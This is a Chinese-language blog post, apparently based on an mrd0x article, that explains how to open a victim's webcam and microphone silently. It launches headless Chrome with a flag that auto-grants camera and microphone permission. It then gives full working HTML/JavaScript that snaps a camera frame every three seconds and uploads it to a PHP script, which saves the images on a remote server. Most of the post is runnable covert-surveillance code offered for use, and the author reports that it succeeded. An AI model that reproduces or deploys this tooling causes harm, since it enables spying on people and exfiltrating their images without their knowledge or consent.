静默方式打开摄像头、麦克风

在mrd0x的这篇文章中介绍了一种方法，利用Chrome命令行参数在静默无需手动点击等交互的场景下打开摄像头、麦克风(这个过程也不会打开浏览器窗口)。主要利用两个命令行参数来实现，分别是 --headless、
--auto-accept-camera-and-microphone-capture。

Chrome 启动参数（Command-line Flags） 是在启动 Chrome 或 Chromium 浏览器时，附加在命令行里的特殊指令，用来 改变浏览器的默认行为。

这个网页下有Chrome各个启动参数的详细介绍

https://peter.sh/experiments/chromium-command-line-switches/

关键启动命令:

• --headless

--headless 是 Chrome / Chromium 的一个启动参数，用来 让浏览器在“无界面模式”下运行 ，也就是没有图形界面，不会弹出浏览器窗口。学过python的朋友应该知道Chromium爬虫，就是无界面浏览器，常用于页面需要js渲染、加解密绕过的场景。

• --auto-accept-camera-and-microphone-capture


--auto-accept-camera-and-microphone-capture 是 Chrome / Chromium 的一个启动参数 ，作用是 自动允许网页访问摄像头和麦克风 ，无需用户手动点击“允许”。

静默启动浏览器并自动允许打开麦克风或摄像头 .\chrome.exe --headless
--auto-accept-camera-and-microphone-capture http://example.com


1. 启动浏览器（当前目录下的 chrome.exe）。
2. 在 无界面模式 下运行。
3. 静默自动授权 网页访问摄像头和麦克风，然后访问指定网址。

编辑一个网页JS获取摄像头视频流，每隔3s截取一次画面上传到服务器。 html >
< html >
< head >
head >
< body >
< video id = "video" autoplay playsinline > video >
< canvas id = "canvas" width = "1000" height = "1000" style = "display:none;" > canvas >
< script >
// 获取视频元素和画布元素
const video = document .getElementById( 'video' );
const canvas = document .getElementById( 'canvas' );
// 获取画布 2D 绘图上下文，用于绘制图像
const context = canvas.getContext( '2d' );

/**
* 开始摄像头捕获
* 调用浏览器的 MediaDevices API 获取视频流
*/
function startCapture ( ) {

navigator.mediaDevices.getUserMedia({ video : true }).then( stream => {
// 将获取到的视频流绑定到 video 元素上进行播放
video.srcObject = stream;

// 每隔 3 秒截取一次画面并上传
setInterval( () => takeAndUploadSnapshot(), 3000 );
});
}

/**
* 截图并上传到服务器
*/
function takeAndUploadSnapshot ( ) {
// 将当前视频帧绘制到 canvas 上
context.drawImage(video, 0 , 0 , canvas.width, canvas.height);

// 生成唯一的文件名（时间戳防重复）
const timestamp = Date .now();
const filename = `imgCapture- ${timestamp} .png` ;

// 将 canvas 内容转换成 Base64 编码的 PNG 图片
const dataUrl = canvas.toDataURL( 'image/png' );

// 发送 POST 请求，将图片数据和文件名上传到服务器
fetch( 'upload.php' , {
method : 'POST' ,
headers : { 'Content-Type' : 'application/json' },
body : JSON .stringify({
image : dataUrl, // Base64 图片数据
filename : filename // 图片文件名
})
});
}

// 页面加载时启动摄像头捕获
startCapture();
script >
body >
html >


服务端接收截图
$data = json_decode(file_get_contents( "php://input" ), true );

// 基础字段检查
if (!$data || ! isset ($data[ 'image' ]) || ! isset ($data[ 'filename' ])) {
http_response_code( 400 );
exit ( 'Invalid request data' );
}

$imageBase64 = $data[ 'image' ];
$filename = $data[ 'filename' ];

// 检查文件扩展名是否为 .png（不区分大小写）
if (strtolower(pathinfo($filename, PATHINFO_EXTENSION)) !== 'png' ) {
http_response_code( 400 );
exit ( 'Only .png files are allowed' );
}

// 检查 Base64 数据头是否是 PNG
if (strpos($imageBase64, 'data:image/png;base64,' ) !== 0 ) {
http_response_code( 400 );
exit ( 'Invalid image format' );
}

// 移除 Base64 头并解码
$base64String = preg_replace( '#^data:image/png;base64,#i' , '' , $imageBase64);
$imageData = base64_decode($base64String, true );

// 检查 Base64 解码是否成功
if ($imageData === false ) {
http_response_code( 400 );
exit ( 'Base64 decode failed' );
}

// 目录设置（确保存在且可写）
$uploadDir = '/var/www/imgCapture' ;
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755 , true );
}

// 使用安全文件名（防止目录穿越）
$safeFilename = preg_replace( '/[^a-zA-Z0-9_\-\.]/' , '_' , $filename);
$filePath = $uploadDir . '/' . $safeFilename;

// 写入文件
if (file_put_contents($filePath, $imageData)) {
echo json_encode([ 'success' => true ]);
} else {
http_response_code( 500 );
echo json_encode([ 'success' => false ]);
}
?>



--handless
--auto-accept-camera-and-microphone-capture 启动Chrome，无窗口、自动允许打开麦克风、摄像头。

服务器这边成功接收截图，打个码。

部署html、php的服务器必须是https的，http会导致触发安全策略。

参考
:https://mrd0x.com/spying-with-chromium-browsers-camera/